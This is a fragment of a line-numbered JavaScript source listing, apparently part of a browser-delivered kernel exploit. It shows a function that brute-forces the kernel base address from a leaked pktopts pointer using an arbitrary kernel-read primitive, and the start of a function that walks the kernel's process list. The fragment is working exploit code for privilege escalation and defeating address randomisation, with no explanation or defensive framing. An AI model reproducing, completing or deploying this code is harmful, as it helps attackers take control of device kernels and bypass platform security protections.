()
| 621 | } |
| 622 | |
| 623 | function brute_force_kernel_map() { |
| 624 | var attempt = new int64(((leaked_pktopts_address.low & 0xFE000000) + VM_MAP_PMAP_OFFSET), leaked_pktopts_address.hi); |
| 625 | for (var i = 0; i < 0xC0; i++) { |
| 626 | var kernel_pmap_store = kernel_read8(attempt); |
| 627 | if (kernel_pmap_store.hi == 0xFFFFFFFF && ((kernel_pmap_store.low & 0x3FFF) == (KERNEL_PMAP_STORE_OFFSET & 0x3FFF))) { |
| 628 | kernel_base = kernel_pmap_store.sub32(KERNEL_PMAP_STORE_OFFSET); |
| 629 | if ((kernel_base.low & 0x3FFF) == 0x0) { |
| 630 | return; |
| 631 | } |
| 632 | } |
| 633 | attempt.sub32inplace(0x01000000); |
| 634 | } |
| 635 | alert("[ERROR] failed to find kernel_map REBOOT"); |
| 636 | while (1) {}; |
| 637 | } |
| 638 | |
| 639 | function find_proc() { |
| 640 | var proc = kernel_read8(kernel_base.add32(KERNEL_ALLPROC_OFFSET)); |
no test coverage detected